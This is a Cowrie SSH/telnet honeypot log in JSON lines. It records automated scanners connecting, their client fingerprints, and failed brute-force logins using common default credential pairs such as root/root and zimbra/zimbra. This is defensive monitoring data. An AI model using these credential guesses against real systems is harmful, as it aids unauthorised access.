{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:35.878408Z","src_ip":"172.237.20.62","session":"0674558f03ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35726,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a742ca26dfa","protocol":"ssh","message":"New connection: 176.65.132.129:35726 (159.203.135.109:22) [session: 0a742ca26dfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:37.333242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:37.337880Z","src_ip":"176.65.132.129","session":"0a742ca26dfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:37.420629Z","src_ip":"176.65.132.129","session":"0a742ca26dfa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bigdata","password":"bigdata","message":"login attempt [bigdata/bigdata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:37.667997Z","src_ip":"176.65.132.129","session":"0a742ca26dfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:38.754953Z","src_ip":"176.65.132.129","session":"0a742ca26dfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35750,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd6d52d0d7f0","protocol":"ssh","message":"New connection: 176.65.132.129:35750 (159.203.135.109:22) [session: bd6d52d0d7f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:40.760815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:40.764474Z","src_ip":"176.65.132.129","session":"bd6d52d0d7f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":43846,"dst_ip":"10.17.0.5","dst_port":23,"session":"91216c78ed4e","protocol":"telnet","message":"New connection: 45.58.127.90:43846 (10.17.0.5:23) [session: 91216c78ed4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:40.833234Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:40.845623Z","src_ip":"176.65.132.129","session":"bd6d52d0d7f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zimbra","password":"zimbra","message":"login attempt [zimbra/zimbra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:41.094067Z","src_ip":"176.65.132.129","session":"bd6d52d0d7f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:42.178308Z","src_ip":"176.65.132.129","session":"bd6d52d0d7f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.222.212.211","src_port":35720,"dst_ip":"159.203.135.109","dst_port":23,"session":"11f46d90e0a7","protocol":"telnet","message":"New connection: 8.222.212.211:35720 (159.203.135.109:23) [session: 11f46d90e0a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:42.615288Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35774,"dst_ip":"159.203.135.109","dst_port":22,"session":"cce9ed6672af","protocol":"ssh","message":"New connection: 176.65.132.129:35774 (159.203.135.109:22) [session: cce9ed6672af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:44.426721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:44.450088Z","src_ip":"176.65.132.129","session":"cce9ed6672af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:44.519629Z","src_ip":"176.65.132.129","session":"cce9ed6672af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"drcomadmin","password":"drcomadmin123","message":"login attempt [drcomadmin/drcomadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:44.830189Z","src_ip":"176.65.132.129","session":"cce9ed6672af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.219.84.173","src_port":44788,"dst_ip":"10.17.0.5","dst_port":23,"session":"7528302bfae9","protocol":"telnet","message":"New connection: 45.219.84.173:44788 (10.17.0.5:23) [session: 7528302bfae9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:44.889425Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":37368,"dst_ip":"159.203.135.109","dst_port":22,"session":"631fd6bfba85","protocol":"ssh","message":"New connection: 172.237.20.62:37368 (159.203.135.109:22) [session: 631fd6bfba85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:45.093698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:45.098866Z","src_ip":"172.237.20.62","session":"631fd6bfba85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:45.265526Z","src_ip":"172.237.20.62","session":"631fd6bfba85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:45.752997Z","src_ip":"172.237.20.62","session":"631fd6bfba85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:45.914960Z","src_ip":"176.65.132.129","session":"cce9ed6672af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:46.922137Z","src_ip":"172.237.20.62","session":"631fd6bfba85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33090,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a71aa731dbc","protocol":"ssh","message":"New connection: 176.65.132.129:33090 (159.203.135.109:22) [session: 0a71aa731dbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:48.032381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:48.037329Z","src_ip":"176.65.132.129","session":"0a71aa731dbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:48.119361Z","src_ip":"176.65.132.129","session":"0a71aa731dbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rock","message":"login attempt [root/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:48.364321Z","src_ip":"176.65.132.129","session":"0a71aa731dbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:49.449337Z","src_ip":"176.65.132.129","session":"0a71aa731dbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33094,"dst_ip":"159.203.135.109","dst_port":22,"session":"b70322e9f9b0","protocol":"ssh","message":"New connection: 176.65.132.129:33094 (159.203.135.109:22) [session: b70322e9f9b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:51.490348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:51.497222Z","src_ip":"176.65.132.129","session":"b70322e9f9b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:51.578675Z","src_ip":"176.65.132.129","session":"b70322e9f9b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyuiop","message":"login attempt [root/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:51.821994Z","src_ip":"176.65.132.129","session":"b70322e9f9b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:52.905812Z","src_ip":"176.65.132.129","session":"b70322e9f9b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":56408,"dst_ip":"10.17.0.5","dst_port":23,"session":"40c5bbb54542","protocol":"telnet","message":"New connection: 45.58.127.90:56408 (10.17.0.5:23) [session: 40c5bbb54542]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:54.338738Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33110,"dst_ip":"159.203.135.109","dst_port":22,"session":"65cbdd52d7c1","protocol":"ssh","message":"New connection: 176.65.132.129:33110 (159.203.135.109:22) [session: 65cbdd52d7c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:54.894829Z"}
{"eventid":"cowrie.session.closed","duration":34.955809354782104,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:54.912517Z","src_ip":"45.58.127.90","session":"dff1f5cee2d7","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:54.934109Z","src_ip":"176.65.132.129","session":"65cbdd52d7c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:55.141692Z","src_ip":"176.65.132.129","session":"65cbdd52d7c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu-server","password":"123456","message":"login attempt [ubuntu-server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:55.430781Z","src_ip":"176.65.132.129","session":"65cbdd52d7c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":47164,"dst_ip":"159.203.135.109","dst_port":22,"session":"30a13f05fa7c","protocol":"ssh","message":"New connection: 172.237.20.62:47164 (159.203.135.109:22) [session: 30a13f05fa7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:56.102822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:56.108177Z","src_ip":"172.237.20.62","session":"30a13f05fa7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:56.269867Z","src_ip":"172.237.20.62","session":"30a13f05fa7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:56.518088Z","src_ip":"176.65.132.129","session":"65cbdd52d7c1","protocol":"ssh"}
